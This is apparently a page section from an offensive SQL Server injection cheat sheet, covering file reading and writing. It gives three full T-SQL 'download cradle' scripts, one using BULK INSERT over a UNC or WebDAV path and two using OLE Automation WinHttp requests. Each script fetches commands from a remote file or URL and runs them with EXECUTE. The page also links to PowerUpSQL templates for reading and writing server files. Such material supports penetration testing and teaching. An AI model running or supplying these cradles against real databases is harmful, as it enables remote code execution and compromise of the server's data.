sqlserver.html

<h3 id="reading-and-writing-files">Reading and Writing Files</h3>


<p class="pageDescription">{{site.data.injectionDescriptions.readingAndWritingFiles}}</p>

<p>* Requires privileged user</p>
<table class="table table-striped table-hover">
  <thead>
    <tr>
      <th>Description</th>
      <th>Query</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Download Cradle bulk in server - TSQL</td>
      <td>-- Bulk Insert - Download Cradle Example<br/>
      <br/>
      -- Setup variables<br/>
      Declare @cmd varchar(8000)<br/>
      <br/>
      -- Create temp table<br/>
      CREATE TABLE #file (content nvarchar(4000));<br/>
      <br/>
      -- Read file into temp table - web server must support propfind<br/>
      BULK INSERT #file FROM '\\sharepoint.acme.com@SSL\Path\to\file.txt';<br/>
      <br/>
      -- Select contents of file<br/>
      SELECT @cmd = content FROM #file<br/>
      <br/>
      -- Display command<br/>
      SELECT @cmd<br/>
      <br/>
      -- Run command<br/>
      EXECUTE(@cmd)<br/>
      <br/>
      -- Drop the temp table<br/>
      DROP TABLE #file</td>
    </tr>
    <tr>
      <td>Download Cradle OAP 1 - TSQL</td>
      <td>-- OLE Automation Procedure - Download Cradle Example<br/>
      -- Does not require a table, but can't handle larger payloads<br/>
      <br/>
      -- Note: This also works with unc paths \\ip\file.txt<br/>
      -- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind.<br/>
      <br/>
      -- Setup Variables<br/>
      DECLARE @url varchar(300)<br/>
      DECLARE @WinHTTP int<br/>
      DECLARE @handle  int<br/>
      DECLARE @Command varchar(8000)<br/>
      <br/>
      -- Set target url containting TSQL<br/>
      SET @url = 'http://127.0.0.1/mycmd.txt'<br/>
      <br/>
      -- Setup namespace<br/>
      EXEC @handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT<br/>
      <br/>
      -- Call the Open method to setup the HTTP request<br/>
      EXEC @handle=sp_OAMethod @WinHTTP, 'Open',NULL,'GET',@url,'false'<br/>
      <br/>
      -- Call the Send method to send the HTTP GET request<br/>
      EXEC @handle=sp_OAMethod @WinHTTP,'Send'<br/>
      <br/>
      -- Capture the HTTP response content<br/>
      EXEC @handle=sp_OAGetProperty @WinHTTP,'ResponseText', @Command out<br/>
      <br/>
      -- Destroy the object<br/>
      EXEC @handle=sp_OADestroy @WinHTTP<br/>
      <br/>
      -- Display command<br/>
      SELECT @Command<br/>
      <br/>
      -- Run command<br/>
      EXECUTE (@Command)</td>
    </tr>
    <tr>
      <td>Download Cradle OAP 2 - TSQL</td>
      <td>-- OLE Automation Procedure - Download Cradle Example - Option 2<br/>
      -- Can handle larger payloads, but requires a table<br/>
      <br/>
      -- Note: This also works with unc paths \\ip\file.txt<br/>
      -- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind.<br/>
      <br/>
      -- Setup Variables<br/>
      DECLARE @url varchar(300)<br/>
      DECLARE @WinHTTP int<br/>
      DECLARE @Handle  int<br/>
      DECLARE @Command varchar(8000)<br/>
      <br/>
      -- Set target url containting TSQL<br/>
      SET @url = 'http://127.0.0.1/mycmd.txt'<br/>
      <br/>
      -- Create temp table to store downloaded string<br/>
      CREATE TABLE #text(html text NULL)<br/>
      <br/>
      -- Setup namespace<br/>
      EXEC @Handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT<br/>
      <br/>
      -- Call open method to configure HTTP request<br/>
      EXEC @Handle=sp_OAMethod @WinHTTP, 'Open',NULL,'GET',@url,'false'<br/>
      <br/>
      -- Call Send method to send the HTTP request<br/>
      EXEC @Handle=sp_OAMethod @WinHTTP,'Send'<br/>
      <br/>
      -- Capture the HTTP response content<br/>
      INSERT #text(html)<br/>
      EXEC @Handle=sp_OAGetProperty @WinHTTP,'ResponseText'<br/>
      <br/>
      -- Destroy the object<br/>
      EXEC @Handle=sp_OADestroy @WinHTTP<br/>
      <br/>
      -- Display the commad<br/>
      SELECT @Command = html from #text<br/>
      SELECT @Command<br/>
      <br/>
      -- Run the command<br/>
      EXECUTE (@Command)<br/>
      <br/>
      -- Remove temp table<br/>
      DROP TABLE #text</td>
    </tr>
    <tr>
      <td>Reading Files - TSQL</td>
      <td><a target="_blank" rel="noopener" href="https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenDataSourceTxt.sql">https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenDataSourceTxt.sql</a><br/>
      <a target="_blank" rel="noopener" href="https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_BulkInsert.sql">https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_BulkInsert.sql</a><br/>
      <a target="_blank" rel="noopener" href="https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenDataSourceXlsx">https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenDataSourceXlsx</a><br/>
      <a target="_blank" rel="noopener" href="https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenRowSetBulk.sql">https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenRowSetBulk.sql</a><br/>
      <a target="_blank" rel="noopener" href="https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenRowSetTxt.sql">https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenRowSetTxt.sql</a><br/>
      <a target="_blank" rel="noopener" href="https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenRowSetXlsx.sql">https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenRowSetXlsx.sql</a></td>
    </tr>
    <tr>
      <td>Writing Files  - TSQL</td>
      <td><a target="_blank" rel="noopener" href="https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/writefile_bulkinsert.sql">https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/writefile_bulkinsert.sql</a><br/>
      <a target="_blank" rel="noopener" href="https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/writefile_OpenRowSetTxt.sql">https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/writefile_OpenRowSetTxt.sql</a></td>
  </tbody>
</table>